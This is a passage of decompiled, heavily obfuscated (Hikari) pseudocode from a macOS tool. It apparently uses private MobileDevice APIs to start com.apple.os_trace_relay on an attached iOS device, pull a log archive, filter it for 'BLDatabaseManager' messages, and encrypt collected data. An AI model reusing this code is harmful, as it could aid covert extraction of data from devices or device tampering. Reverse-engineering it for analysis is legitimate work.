a3 = 1182222808;
v24 = 0;
v9 = 1774570341;
v25 = 898785028;
goto LABEL_972;
}
if ( v170 == -704827510 )
{
a3 = 378557416;
v24 = 1;
v9 = -736115092;
v25 = 794110172;
goto LABEL_972;
}
}
else if ( v170 == -729125183 )
{
*v231 = 1003162425;
}
else if ( v170 == -726441924 )
{
a2 = 3556123557LL;
a3 = 3556123524LL;
v8 = 1;
v9 = -1537342645;
v10 = 1451453833;
goto LABEL_979;
}
}
else if ( v170 <= -1037547318 )
{
if ( v170 > -1118961755 )
{
if ( v170 > -1080015797 )
{
switch ( v170 )
{
case -1080015796:
objc_release(v187);
objc_release(v202);
*v231 = -1459830576;
break;
case -1074883634:
*(_DWORD *)v177 = _byteswap_ulong(v172);
a2 = (__int64)v177;
AMDServiceConnectionSend(*v230);
v113 = *v230;
BytePtr = CFDataGetBytePtr(theData);
v11 = 0;
v114 = BytePtr;
v115 = ~(v137 | (unsigned int)~(_DWORD)v172);
v9 = 182823909;
v12 = 44374684;
goto LABEL_957;
case -1037898274:
v11 = 0;
v9 = -1138391711;
v12 = -101679610;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case -1118961754:
*v231 = 44003548;
break;
case -1101836800:
*v230 = 0;
a2 = (__int64)CFSTR("\xF9\xE4\x46\xF2\xB7\x03\xAFN\xCC\x69a\x04\x82E+\xF2\x56\x1B\x5A\xF6\x61\xB3\xEF\x87");
started = AMDeviceSecureStartService(v166);
v8 = 0;
v209 = started == 0 && *v230 != 0;
v9 = 120003220;
v10 = 455836240;
goto LABEL_979;
case -1091197495:
*v231 = -1033106579;
break;
}
}
}
else if ( v170 > -1138391712 )
{
switch ( v170 )
{
case -1138391711:
v67 = HikariFunctionWrapper_17029(v152, v148);
v68 = objc_retainAutoreleasedReturnValue(v67);
a2 = (__int64)v149;
HikariFunctionWrapper_17031(v196, v149);
objc_release(v68);
*(_BYTE *)v203 = 0;
*v231 = -101679610;
break;
case -1129514568:
objc_release(v5);
*v231 = -331616310;
break;
case -1124934997:
v24 = 1;
v9 = -1690117439;
v25 = 470732079;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case -1153747998:
*v231 = -1724942422;
break;
case -1143617252:
HikariFunctionWrapper_16965(bytes);
a2 = (__int64)data;
v193 = (id)CFPropertyListCreateWithData(allocator, data, 0, 0, 0);
CFRelease(data);
v214 = v193 == 0;
v24 = 1;
v9 = -870242737;
v25 = -302336706;
goto LABEL_972;
case -1138838105:
*v231 = -1390575651;
break;
}
}
}
else if ( v170 <= -1014439302 )
{
if ( v170 > -1028659440 )
{
switch ( v170 )
{
case -1028659439:
v11 = 0;
v9 = -447766881;
v12 = 979965810;
goto LABEL_957;
case -1026428719:
*v231 = 2127558647;
break;
case -1022043397:
v13 = 0;
v9 = 1712700922;
v14 = 530136182;
goto LABEL_962;
}
}
else
{
switch ( v170 )
{
case -1037547317:
a2 = (__int64)v194;
AMDServiceConnectionReceive(v150);
*v231 = 2043463410;
break;
case -1034878172:
a2 = (__int64)v191;
v219 = AMDServiceConnectionReceive(v121) == 4;
*v231 = -203615392;
break;
case -1033106579:
a3 = 1177697939;
v11 = 0;
v9 = -1269385753;
v12 = 936734166;
goto LABEL_957;
}
}
}
else if ( v170 <= -981952413 )
{
switch ( v170 )
{
case -1014439301:
*v231 = 1786610602;
break;
case -1005101608:
a2 = (__int64)"dictionary";
v107 = objc_msgSend(v139, "dictionary");
v204 = objc_retainAutoreleasedReturnValue(v107);
v198 = "setObject:forKeyedSubscript:";
*v231 = 1245954517;
break;
case -989964214:
*v231 = -935164178;
break;
}
}
else if ( v170 > -954438841 )
{
if ( v170 == -954438840 )
{
a2 = (__int64)v203;
HikariFunctionWrapper_17033(v153);
*v231 = 826678423;
}
else if ( v170 == -935684489 )
{
a3 = 273182102;
v24 = 1;
v9 = -870239299;
v25 = -935684489;
goto LABEL_972;
}
}
else if ( v170 == -981952412 )
{
*v231 = 567166184;
}
else if ( v170 == -959308550 )
{
v11 = !v218;
v9 = -1843680293;
v12 = -638250592;
goto LABEL_957;
}
}
else if ( v170 <= -433652822 )
{
if ( v170 <= -550757513 )
{
if ( v170 > -591779132 )
{
if ( v170 > -573884612 )
{
switch ( v170 )
{
case -573884611:
v24 = 1;
v9 = -959308550;
v25 = -573884611;
goto LABEL_972;
case -562062485:
*v231 = -2027716847;
break;
case -555570331:
*(_BYTE *)v203 = 0;
a2 = (__int64)v203;
v217 = AMDServiceConnectionReceive(*v230) <= 0;
v11 = 0;
v9 = -555570331;
v12 = 462524516;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case -591779131:
v13 = 0;
v9 = 299359784;
v14 = 1456188876;
goto LABEL_962;
case -585795685:
v24 = 0;
__size = *(unsigned int *)v191;
v9 = -585795685;
v25 = -1915606727;
goto LABEL_972;
case -574795635:
v13 = 0;
v9 = 1670104918;
v14 = 802070600;
goto LABEL_962;
}
}
}
else if ( v170 > -632747733 )
{
switch ( v170 )
{
case -632747732:
v54 = objc_msgSend(v111, v112, v189);
v55 = objc_retainAutoreleasedReturnValue(v54);
a2 = (__int64)v198;
objc_msgSend(v204, v198, v55, CFSTR(">\xF3\x1D\xBB\x91\b\x1Eǒ1"));
objc_release(v55);
*v231 = 21490973;
break;
case -607542233:
v8 = 1;
v9 = -1359024083;
v10 = -347502385;
goto LABEL_979;
case -602184242:
*v231 = 2025693910;
break;
}
}
else
{
switch ( v170 )
{
case -682516281:
v11 = !v221;
v9 = -1734246764;
goto LABEL_755;
case -654235449:
*v231 = -752349269;
break;
case -638250592:
v8 = 1;
v9 = -1524688848;
v10 = 992743158;
goto LABEL_979;
}
}
}
else if ( v170 <= -497106684 )
{
if ( v170 > -513650963 )
{
switch ( v170 )
{
case -513650962:
v11 = 0;
v9 = -1153747998;
v12 = -1724942422;
goto LABEL_957;
case -513546559:
*v231 = 1334915473;
break;
case -504100384:
*v231 = 451728553;
break;
}
}
else
{
switch ( v170 )
{
case -550757512:
*v231 = -2025761284;
break;
case -546253311:
*v231 = 69027016;
break;
case -533813596:
a2 = 580669420;
a3 = 1495412736;
v24 = 0;
v9 = 1102410533;
v25 = 1827102346;
goto LABEL_972;
}
}
}
else if ( v170 <= -470911225 )
{
switch ( v170 )
{
case -497106683:
*v231 = -123075128;
break;
case -486862193:
*v231 = 2093375373;
break;
case -486213958:
a3 = 2005378712;
v8 = 0;
v9 = -204645420;
v10 = -1267030808;
goto LABEL_979;
}
}
else if ( v170 > -450458097 )
{
if ( v170 == -450458096 )
{
v8 = 0;
v9 = 1071932043;
v10 = 805686161;
goto LABEL_979;
}
if ( v170 == -447766881 )
{
*v190 = 0;
*v231 = 979965810;
}
}
else
{
if ( v170 == -470911224 )
{
v24 = 1;
v9 = -573884611;
v25 = -1365092801;
goto LABEL_972;
}
if ( v170 == -462885515 )
*v231 = -1034878172;
}
}
else if ( v170 > -304537671 )
{
if ( v170 <= -222764697 )
{
if ( v170 > -265102806 )
{
switch ( v170 )
{
case -265102805:
v96 = CFSTR("c.{\xB0\xBD\xB5B'\x8E=\x03\r\xDE\x42\x9FI\x8F\xE5\xD8\xDD\xDA\x66p\xD9\x66\x96\x90");
a3 = (__int64)CFSTR("\xBB\xB1}@f0\xA2n\xF4\xFD\x34\x25`\xF3\xE0\x23\xFAb\x05d\xB0Q\x12\xB9'\xBE\xA9\xAB\x0EԱ");
if ( v224 )
v96 = CFSTR("\xBB\xB1}@f0\xA2n\xF4\xFD\x34\x25`\xF3\xE0\x23\xFAb\x05d\xB0Q\x12\xB9'\xBE\xA9\xAB\x0EԱ");
v24 = 1;
p_isa = &v96->isa;
v9 = 1978642577;
v25 = -1277919973;
goto LABEL_972;
case -258710479:
*v231 = -632747732;
break;
case -246784576:
v191 = &v110 - 2;
v205 = &v110 - 4;
v178 = &v110 - 2;
v206 = &v110 - 10;
v179 = &v110 - 2;
objc_retain(v5);
v24 = 1;
v9 = 1983729947;
v25 = -246784576;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case -304537670:
v11 = 0;
v9 = -302336706;
v12 = -1143617252;
goto LABEL_957;
case -302336706:
HikariFunctionWrapper_17023(bytes);
a2 = (__int64)data;
HikariFunctionWrapper_17025(allocator, data, 0, 0, 0);
CFRelease(data);
*v231 = -1143617252;
break;
case -274698249:
*v231 = 231080891;
break;
}
}
}
else if ( v170 <= -177959291 )
{
switch ( v170 )
{
case -222764696:
v8 = 0;
v9 = -1272150685;
v10 = -1859286480;
goto LABEL_979;
case -204645420:
AMDServiceConnectionInvalidate(*v230, a2, a3);
v13 = 0;
v9 = -1596478853;
v14 = -1267030808;
LABEL_962:
if ( v13 )
v9 = v14;
goto LABEL_981;
case -203615392:
v8 = 1;
v9 = -1026428719;
v10 = 2127558647;
goto LABEL_979;
}
}
else if ( v170 > -147888083 )
{
if ( v170 == -147888082 )
{
v8 = 1;
v9 = -740930683;
v10 = 652218532;
goto LABEL_979;
}
if ( v170 == -132335329 )
{
a2 = (__int64)v161;
v44 = objc_msgSend(v160, v161, v200);
objc_retainAutoreleasedReturnValue(v44);
*v231 = -1650191761;
}
}
else if ( v170 == -177959290 )
{
a2 = started;
NSLog(
CFSTR("\xC1\xFD\x9B\x8A\x13\x91\xB7\x00\x80Qܓ\x8FX\xD0\x50R$\xB0\xBCv7U0\xEA\xCE\x31U\xBChO\xB2\x0F\xB7\xFB\v\xB0[\x8F.\a\xC2\x72\xD1\xEDz\x86G\xEF\x13\xD5"),
started);
*v231 = 2010886517;
}
else if ( v170 == -170960279 )
{
a3 = 239075360;
v11 = 0;
v9 = -310837913;
v12 = -729125183;
goto LABEL_957;
}
}
else if ( v170 <= -352079417 )
{
if ( v170 > -376937672 )
{
switch ( v170 )
{
case -376937671:
*v231 = -935684489;
break;
case -368565777:
v98 = encryptMyData(v187);
v99 = objc_retainAutoreleasedReturnValue(v98);
v8 = 1;
v175 = v99;
v136 = gAldazU;
gAldazU = v99;
v9 = -368565777;
v10 = -497106683;
goto LABEL_979;
case -367230124:
a2 = (__int64)"dictionary";
v42 = objc_msgSend(v139, "dictionary");
objc_retainAutoreleasedReturnValue(v42);
*v231 = -1005101608;
break;
}
}
else
{
switch ( v170 )
{
case -433652821:
*v179 = 0;
a2 = (__int64)v195;
objc_msgSend(v199, v195, v207, v179);
*v231 = -1166028871;
break;
case -384167262:
v11 = 0;
v9 = -2010219664;
v12 = -246784576;
goto LABEL_957;
case -383366953:
v11 = 0;
v9 = 447633739;
v12 = -68639970;
goto LABEL_957;
}
}
}
else if ( v170 <= -338259178 )
{
switch ( v170 )
{
case -352079416:
v105 = -2011956124;
if ( v216 )
v105 = -1665515601;
LODWORD(v6) = (_DWORD)v231;
*v231 = v105;
v163 = v117;
break;
case -349137493:
v11 = 0;
v9 = 1747380703;
v12 = -861470375;
LABEL_957:
if ( !v11 )
v9 = v12;
LABEL_981:
LODWORD(v6) = (_DWORD)v231;
*v231 = v9;
break;
case -347502385:
asc_100279219[0] = 45;
asc_100279219[1] = 45;
asc_100279219[2] = 105;
asc_100279219[3] = 110;
asc_100279219[4] = 102;
asc_100279219[5] = 111;
asc_100279219[6] = 0;
strcpy(aC_9, "[i] Archivo .tar eliminado");
strcpy(asc_1002791F0, "RequestSuccessful");
asc_100278FDA[0] = 65;
asc_100278FDA[1] = 103;
asc_100278FDA[2] = 101;
asc_100278FDA[3] = 76;
asc_100278FDA[4] = 105;
asc_100278FDA[5] = 109;
asc_100278FDA[6] = 105;
asc_100278FDA[7] = 116;
asc_100278FDA[8] = 0;
strcpy(asc_100278F80, "[!] Error al iniciar com.apple.os_trace_relay (%x)");
strcpy(asc_100278F10, "[!] Error leyendo byte inicial (got 0x%02X)");
strcpy(aJ_9, "[i] Byte inicial 0x01 recibido correctamente");
aIO[0] = 91;
aIO[1] = 33;
aIO[2] = 93;
aIO[3] = 32;
aIO[4] = 77;
aIO[5] = 97;
aIO[6] = 114;
aIO[7] = 99;
aIO[8] = 97;
aIO[9] = 100;
aIO[10] = 111;
aIO[11] = 114;
aIO[12] = 32;
aIO[13] = 105;
aIO[14] = 110;
aIO[15] = 118;
aIO[16] = 225;
aIO[17] = 108;
aIO[18] = 105;
aIO[19] = 100;
aIO[20] = 111;
aIO[21] = 58;
aIO[22] = 32;
aIO[23] = 48;
aIO[24] = 120;
aIO[25] = 37;
aIO[26] = 48;
aIO[27] = 50;
aIO[28] = 88;
aIO[29] = 0;
aW_6[0] = 45;
aW_6[1] = 45;
aW_6[2] = 115;
aW_6[3] = 116;
aW_6[4] = 121;
aW_6[5] = 108;
aW_6[6] = 101;
aW_6[7] = 0;
strcpy(asc_100278390, "com.apple.os_trace_relay");
strcpy(aG_14, "[i] Status: RequestSuccessful");
strcpy(asc_100278D42, "/usr/bin/log");
strcpy(aR_7, "/usr/bin/tar");
strcpy(aY_9, "[!] Error creando plist CreateArchive");
asc_100278D64[0] = 115;
asc_100278D64[1] = 121;
asc_100278D64[2] = 115;
asc_100278D64[3] = 108;
asc_100278D64[4] = 111;
asc_100278D64[5] = 103;
asc_100278D64[6] = 0;
strcpy(aZ_7, "--predicate");
asc_100278DED[0] = 83;
asc_100278DED[1] = 116;
asc_100278DED[2] = 97;
asc_100278DED[3] = 116;
asc_100278DED[4] = 117;
asc_100278DED[5] = 115;
asc_100278DED[6] = 0;
strcpy(aU_11, "%@.logarchive");
aS_9[0] = 45;
aS_9[1] = 120;
aS_9[2] = 118;
aS_9[3] = 102;
aS_9[4] = 0;
strcpy(asc_10027823C, "CreateArchive");
strcpy(aApo, "SizeLimit");
aDI[0] = 91;
aDI[1] = 33;
aDI[2] = 93;
aDI[3] = 32;
aDI[4] = 69;
aDI[5] = 114;
aDI[6] = 114;
aDI[7] = 111;
aDI[8] = 114;
aDI[9] = 32;
aDI[10] = 108;
aDI[11] = 101;
aDI[12] = 121;
aDI[13] = 101;
aDI[14] = 110;
aDI[15] = 100;
aDI[16] = 111;
aDI[17] = 32;
aDI[18] = 116;
aDI[19] = 97;
aDI[20] = 109;
aDI[21] = 97;
aDI[22] = 241;
aDI[23] = 111;
aDI[24] = 32;
aDI[25] = 100;
aDI[26] = 101;
aDI[27] = 108;
aDI[28] = 32;
aDI[29] = 112;
aDI[30] = 108;
aDI[31] = 105;
aDI[32] = 115;
a2 = 30654;
aDI[33] = 116;
aDI[34] = 0;
aLJ[0] = 37;
aLJ[1] = 64;
aLJ[2] = 46;
aLJ[3] = 116;
aLJ[4] = 120;
aLJ[5] = 116;
aLJ[6] = 0;
asc_100278FB6[0] = 45;
asc_100278FB6[1] = 67;
asc_100278FB6[2] = 0;
strcpy(asc_100278C6A, "--archive");
aKdcjd[0] = 45;
aKdcjd[1] = 45;
aKdcjd[2] = 100;
aKdcjd[3] = 101;
aKdcjd[4] = 98;
aKdcjd[5] = 117;
aKdcjd[6] = 103;
aKdcjd[7] = 0;
asc_100278C79[0] = 115;
asc_100278C79[1] = 104;
asc_100278C79[2] = 111;
asc_100278C79[3] = 119;
asc_100278C79[4] = 0;
strcpy(aA_10, "message CONTAINS \"BLDatabaseManager\"");
a3 = 32;
asc_100278CB0[0] = 91;
asc_100278CB0[1] = 105;
v8 = 0;
asc_100278CB0[2] = 93;
v9 = 775896338;
v10 = -1359024083;
goto LABEL_979;
}
}
else if ( v170 > -310837914 )
{
if ( v170 == -310837913 )
{
*v231 = -170960279;
}
else if ( v170 == -304584525 )
{
v24 = 1;
v9 = -1600869407;
v25 = -304584525;
goto LABEL_972;
}
}
else if ( v170 == -338259177 )
{
*v231 = -1772859532;
}
else if ( v170 == -331616310 )
{
objc_release(v5);
v13 = 0;
v9 = -1091197495;
v14 = -1129514568;
goto LABEL_962;
}
}
else if ( v170 <= -1671071784 )
{
if ( v170 > -1914546964 )
{
if ( v170 <= -1824625668 )
{
if ( v170 > -1872301228 )
{
if ( v170 > -1847526153 )
{
switch ( v170 )
{
case -1847526152:
*v231 = 549700080;
break;
case -1843680293:
a3 = 908775578;
v11 = 0;
v9 = 189713898;
v12 = -1505026045;
goto LABEL_957;
case -1842681733:
AMDServiceConnectionInvalidate(v145, a2, 1828229653);
v8 = 0;
v9 = -75317003;
v10 = -1842681733;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case -1872301227:
*v231 = -383366953;
break;
case -1866641982:
*v231 = 39636345;
break;
case -1859286480:
a2 = (__int64)malloc(_byteswap_ulong(*v190));
AMDServiceConnectionReceive(*v230);
*v231 = -1272150685;
break;
}
}
}
else if ( v170 > -1883991901 )
{
switch ( v170 )
{
case -1883991900:
*v231 = -2011956124;
v163 = v120;
break;
case -1880695074:
a2 = v188;
NSLog(
CFSTR("ِ澧\uA95D偀ﷇﴟ㉾\u2EFCꫢ쒝᳛Օ鳞滑䀭\x2B\xDC蛵뺌턙艂ᰧ竬ᮘꊧ垁䈄\x9D\xD9\x57\x36Щ칞"),
v188);
v24 = 0;
v9 = 866112138;
v25 = 1819556123;
goto LABEL_972;
case -1873501545:
v24 = 1;
v9 = -550757512;
v25 = 994111956;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case -1914546963:
a3 = 112650558;
v11 = 0;
v9 = 716097796;
v12 = -1974561936;
goto LABEL_957;
case -1905117393:
NSLog(CFSTR("J\xA1\xE4\xE7\x77a7\x10la\x05}\xCC\x5B#\xD1\x4CV\xC6\x4B\xD6\xFB\xA0m&T!{`ώ\xC5\xE3\x13u\xBC\xBE\x81\xB5I+քN\""));
*v231 = -1560449626;
break;
case -1898269465:
*v231 = 755058199;
break;
}
}
}
else if ( v170 <= -1746817419 )
{
if ( v170 > -1794344220 )
{
switch ( v170 )
{
case -1794344219:
*v231 = -1398033732;
break;
case -1772859532:
v24 = 1;
v145 = *v230;
v9 = 220554165;
v25 = -1772859532;
goto LABEL_972;
case -1757835944:
v11 = !v208;
v9 = 1050619131;
v12 = -1497606672;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case -1824625667:
*v231 = 51677284;
break;
case -1818990560:
*v231 = 1589207367;
break;
case -1815796158:
a3 = 269033474;
v24 = 1;
v149 = "writeData:";
v9 = 461979285;
v25 = -864584580;
goto LABEL_972;
}
}
}
else if ( v170 <= -1730349362 )
{
switch ( v170 )
{
case -1746817418:
a2 = (__int64)bytes;
HikariFunctionWrapper_17021(allocator, bytes, length);
*v231 = 1044194069;
break;
case -1739055803:
goto LABEL_702;
case -1734246764:
a2 = 4131171699LL;
a3 = 1075314960;
v11 = 0;
v9 = 1051223601;
v12 = 1419205181;
goto LABEL_957;
}
}
else if ( v170 > -1690117440 )
{
if ( v170 == -1690117439 )
{
HikariFunctionWrapper_16963();
v24 = 0;
v9 = -1690117439;
v25 = 1342475439;
goto LABEL_972;
}
if ( v170 == -1678065762 )
{
v13 = 0;
v9 = -1842681733;
v14 = -1659478897;
goto LABEL_962;
}
}
else
{
if ( v170 == -1730349361 )
{
v11 = !v213;
v9 = -726441924;
v12 = -147888082;
goto LABEL_957;
}
if ( v170 == -1724942422 )
{
a2 = 3309147913LL;
a3 = 1092649216;
v8 = 1;
v140 = &OBJC_CLASS___NSNumber;
v9 = -1153747998;
v10 = -743247495;
goto LABEL_979;
}
}
}
else if ( v170 <= -2010219665 )
{
if ( v170 > -2072372383 )
{
if ( v170 > -2027716848 )
{
switch ( v170 )
{
case -2027716847:
v8 = 0;
v9 = -65743911;
v10 = -2027716847;
goto LABEL_979;
case -2025761284:
*v231 = -1970731632;
break;
case -2011956124:
v196 = v163;
a2 = 2582502109LL;
a3 = 2172651717LL;
v24 = 0;
v9 = 169461453;
v25 = -555570331;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case -2072372382:
v13 = 0;
v9 = -52120371;
v14 = 1230927078;
goto LABEL_962;
case -2042314253:
*v231 = 1603470694;
break;
case -2031118184:
v11 = 0;
v111 = &OBJC_CLASS___NSNumber;
v112 = "numberWithInt:";
v9 = 1246811812;
v12 = -258710479;
goto LABEL_957;
}
}
}
else if ( v170 > -2103119391 )
{
switch ( v170 )
{
case -2103119390:
a2 = 1562595230;
a3 = 1015947718;
v8 = 0;
v9 = -1650191761;
v10 = -132335329;
goto LABEL_979;
case -2080236448:
*v231 = 1009728741;
break;
case -2073468604:
objc_release(v196);
*v231 = 223107577;
break;
}
}
else
{
switch ( v170 )
{
case -2147174945:
objc_release(v159);
objc_release(v200);
objc_release(v201);
objc_release(v199);
objc_release(v207);
*v231 = 235288289;
break;
case -2138540019:
*v231 = -1185085780;
break;
case -2124438380:
malloc(__size);
*v231 = 844983625;
break;
}
}
}
else if ( v170 <= -1974561937 )
{
if ( v170 > -1978521697 )
{
switch ( v170 )
{
case -1978521696:
v24 = 1;
v9 = -585795685;
v25 = -9963636;
goto LABEL_972;
case -1977840351:
*v231 = -1339547652;
break;
case -1976321081:
NSLog(CFSTR("橄㦊玽鉁鏔ϑ㋍簬쉵襒ད埨ইཌྷ循氂籠秊쮒꙰뱆᧺ᣖ憋㱭伳\u3097"));
*v231 = 578905730;
break;
}
}
else
{
switch ( v170 )
{
case -2010219664:
objc_retain(v5);
*v231 = -246784576;
break;
case -1992211347:
a2 = 3269722112LL;
a3 = 96537126;
v224 = v223 == 0;
v8 = 0;
v9 = -546253311;
goto LABEL_911;
case -1985363547:
*v231 = -2103119390;
break;
}
}
}
else if ( v170 <= -1946273074 )
{
switch ( v170 )
{
case -1974561936:
a3 = 533960118;
v11 = 0;
v9 = 716097796;
v12 = 1934025471;
goto LABEL_957;
case -1970731632:
a3 = 1222119925;
v24 = 1;
v9 = 26496532;
v25 = 83878875;
LABEL_972:
if ( !v24 )
v9 = v25;
goto LABEL_981;
case -1964588519:
*v231 = -1917433729;
break;
}
}
else if ( v170 > -1917433730 )
{
if ( v170 == -1917433729 )
{
a3 = 3496624521LL;
v11 = 0;
v9 = 1271368226;
v12 = 1463420457;
goto LABEL_957;
}
if ( v170 == -1915606727 )
*v231 = 2076544609;
}
else
{
if ( v170 == -1946273073 )
{
a3 = 41259174;
v11 = 0;
v9 = -883307420;
v12 = 122308437;
goto LABEL_957;
}
if ( v170 == -1925640617 )
{
a2 = (__int64)v142;
v15 = objc_msgSend(v141, v142, v197);
objc_retainAutoreleasedReturnValue(v15);
*v231 = 2029345219;
}
}
}
else if ( v170 <= -1448933254 )
{
if ( v170 <= -1534235035 )
{
if ( v170 > -1574437791 )
{
if ( v170 > -1551869476 )
{
switch ( v170 )
{
case -1551869475:
*v231 = -607542233;
break;
case -1539226090:
*v231 = 1622712517;
break;
case -1537342645:
HikariFunctionWrapper_17015(theData);
*v231 = 1451453833;
break;
}
}
else
{
switch ( v170 )
{
case -1574437790:
v24 = 0;
v9 = 547221212;
v25 = 288700635;
goto LABEL_972;
case -1560449626:
NSLog(
CFSTR("J\xA1\xE4\xE7\x77a7\x10la\x05}\xCC\x5B#\xD1\x4CV\xC6\x4B\xD6\xFB\xA0m&T!{`ώ\xC5\xE3\x13u\xBC\xBE\x81\xB5I+քN\""),
a2,
1615071898);
v8 = 1;
v9 = -1560449626;
v10 = 631295391;
goto LABEL_979;
case -1554786454:
v8 = 0;
v9 = 475136915;
v10 = 1591234902;
goto LABEL_979;
}
}
}
else if ( v170 > -1650191762 )
{
switch ( v170 )
{
case -1650191761:
a2 = (__int64)v161;
v52 = objc_msgSend(v160, v161, v200);
v53 = objc_retainAutoreleasedReturnValue(v52);
v227 = v53 == 0;
v24 = 1;
v187 = v53;
v9 = 1759657767;
v25 = -1650191761;
goto LABEL_972;
case -1600869407:
v11 = !v227;
v9 = -121017981;
v12 = 1613227230;
goto LABEL_957;
case -1596478853:
*v231 = 280374566;
break;
}
}
else
{
switch ( v170 )
{
case -1671071783:
a2 = 84511821;
a3 = 84510784;
v8 = 1;
v9 = -1671071783;
v10 = -1739055803;
goto LABEL_979;
case -1665515601:
v118 = &OBJC_CLASS___NSFileManager;
v119 = "defaultManager";
*v231 = 697373328;
break;
case -1659478897:
HikariFunctionWrapper_17027();
*v231 = -1842681733;
break;
}
}
}
else if ( v170 <= -1505026046 )
{
if ( v170 > -1513782486 )
{
switch ( v170 )
{
case -1513782485:
v11 = !v219;
v9 = -349137493;
v12 = -1978521696;
goto LABEL_957;
case -1506661364:
a2 = 819133281;
a3 = 0;
v13 = 0;
v9 = -1772859532;
v14 = -338259177;
goto LABEL_962;
case -1505620103:
a3 = 548474756;
a2 = 3441489984LL;
v8 = 0;
v9 = -1815796158;
v10 = -864584580;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case -1534235034:
a2 = 2126271247;
a3 = 884494848;
v13 = 0;
v9 = 1435162904;
v14 = 1948188687;
goto LABEL_962;
case -1528649145:
*v231 = -450458096;
break;
case -1524688848:
*(_DWORD *)v191 = 0;
*v231 = 992743158;
break;
}
}
}
else if ( v170 <= -1473453592 )
{
switch ( v170 )
{
case -1505026045:
v13 = 0;
v188 = v229;
v9 = 1019201151;
v14 = -1505026045;
goto LABEL_962;
case -1501765462:
*v231 = -1350569357;
break;
case -1497606672:
a3 = 2185134520LL;
v11 = 0;
v9 = 239947763;
v12 = 2105245461;
goto LABEL_957;
}
}
else if ( v170 > -1457650833 )
{
if ( v170 == -1457650832 )
{
v212 = (int)v189 > 0;
v8 = 0;
v9 = -1818990560;
v10 = -1457650832;
goto LABEL_979;
}
if ( v170 == -1454480662 )
*v231 = 511251685;
}
else
{
if ( v170 == -1473453591 )
{
v13 = 0;
v9 = 1990959588;
v14 = 113411525;
goto LABEL_962;
}
if ( v170 == -1459830576 )
{
objc_release(v187);
objc_release(v202);
v13 = 0;
v9 = -850239538;
v14 = -1080015796;
goto LABEL_962;
}
}
}
else if ( v170 > -1328551969 )
{
if ( v170 <= -1272150686 )
{
if ( v170 > -1291039219 )
{
switch ( v170 )
{
case -1291039218:
NSLog(format);
v78 = HikariFunctionWrapper_16991();
v79 = objc_retainAutoreleasedReturnValue(v78);
v80 = objc_msgSend(&OBJC_CLASS___NSUUID, v122);
v81 = objc_retainAutoreleasedReturnValue(v80);
v82 = HikariFunctionWrapper_16993(v81, v123);
v83 = objc_retainAutoreleasedReturnValue(v82);
v84 = HikariFunctionWrapper_16995(&OBJC_CLASS___NSString, v124);
v85 = objc_retainAutoreleasedReturnValue(v84);
v86 = objc_msgSend(v79, v125, v85);
v200 = objc_retainAutoreleasedReturnValue(v86);
objc_release(v85);
v87 = v83;
v5 = v165;
objc_release(v87);
objc_release(v81);
objc_release(v79);
v88 = objc_msgSend(&OBJC_CLASS___NSFileManager, v186);
v159 = objc_retainAutoreleasedReturnValue(v88);
HikariFunctionWrapper_16997(v159, "createFileAtPath:contents:attributes:");
v89 = objc_alloc((Class)&OBJC_CLASS___NSTask);
v202 = objc_msgSend(v89, v126);
objc_msgSend(v202, v127, CFSTR("\xD9\x49\x9Co\x02\xBDa\xD0\x4D\x1A[\f\x1B"));
*v206 = (__int64)CFSTR("\xDF\x63-%\xA8");
v206[1] = (__int64)CFSTR("\xF8\x8E`\x80\xDD\x2D\xFF");
v206[2] = (__int64)CFSTR("KDcJd\xA4h@");
v206[3] = (__int64)CFSTR("W\\\xA0K\xA7\x15#\xA4");
v206[4] = (__int64)CFSTR("\x88C\xE3\x60\x5AD\x85");
v206[5] = (__int64)CFSTR("z\x87\x7F\xA6\xA8\xC9\x50op\x02s7");
v206[6] = (__int64)CFSTR("%a\x9C\x10\xC4\x6E\xAE=Wn\x83\xAB\xC3\xE6+\x8AA\x04\xFBy\xC6\xE4\xDF\x68G\xCE\x5C\x10v\xEA\x33\xD6\x91\xBE\b\xBD");
v206[7] = (__int64)CFSTR("H\x98\x14\x16\x130\x90\xE9\xE5\x29");
v206[8] = (__int64)v207;
v90 = objc_msgSend(&OBJC_CLASS___NSArray, v128, v206, 9);
v91 = objc_retainAutoreleasedReturnValue(v90);
objc_msgSend(v202, v129, v91);
objc_release(v91);
v92 = HikariFunctionWrapper_16999(&OBJC_CLASS___NSFileHandle, v147);
v93 = objc_retainAutoreleasedReturnValue(v92);
objc_msgSend(v202, v130, v93);
objc_release(v93);
v94 = objc_msgSend(&OBJC_CLASS___NSPipe, v158);
v95 = objc_retainAutoreleasedReturnValue(v94);
objc_msgSend(v202, v131, v95);
objc_release(v95);
objc_msgSend(v202, v132);
objc_msgSend(v202, v133);
a2 = (__int64)v134;
v13 = (unsigned int)objc_msgSend(v202, v134) == 0;
v9 = -1390575651;
v14 = 1848199921;
goto LABEL_962;
case -1286982119:
*v231 = 585289560;
break;
case -1277919973:
*v231 = -265102805;
break;
}
}
else
{
switch ( v170 )
{
case -1328551968:
*v231 = 359873366;
break;
case -1314924419:
*v231 = 1923102109;
break;
case -1314918472:
*v231 = 700513467;
break;
}
}
}
else if ( v170 <= -1185085781 )
{
switch ( v170 )
{
case -1272150685:
length = _byteswap_ulong(*v190);
bytes = (UInt8 *)malloc(length);
a2 = (__int64)bytes;
AMDServiceConnectionReceive(*v230);
v8 = 0;
v9 = -1824625667;
v10 = -1272150685;
goto LABEL_979;
case -1269385753:
*v231 = 936734166;
break;
case -1267030808:
AMDServiceConnectionInvalidate(*v230, a2, a3);
*v231 = -204645420;
break;
}
}
else if ( v170 > -1166028872 )
{
if ( v170 == -1166028871 )
{
*v179 = 0;
a2 = (__int64)v195;
v225 = (unsigned __int8)objc_msgSend(v199, v195, v207, v179);
*v231 = -1872301227;
}
else if ( v170 == -1163601755 )
{
*v231 = 1246503291;
}
}
else
{
if ( v170 == -1185085780 )
{
v11 = 0;
v139 = &OBJC_CLASS___NSMutableDictionary;
v9 = -2138540019;
v12 = 1247229616;
goto LABEL_957;
}
if ( v170 == -1175504578 )
*v231 = 1555867525;
}
}
else if ( v170 <= -1365092802 )
{
if ( v170 > -1414175136 )
{
switch ( v170 )
{
case -1414175135:
v11 = 0;
v9 = 617527027;
v12 = 2114890441;
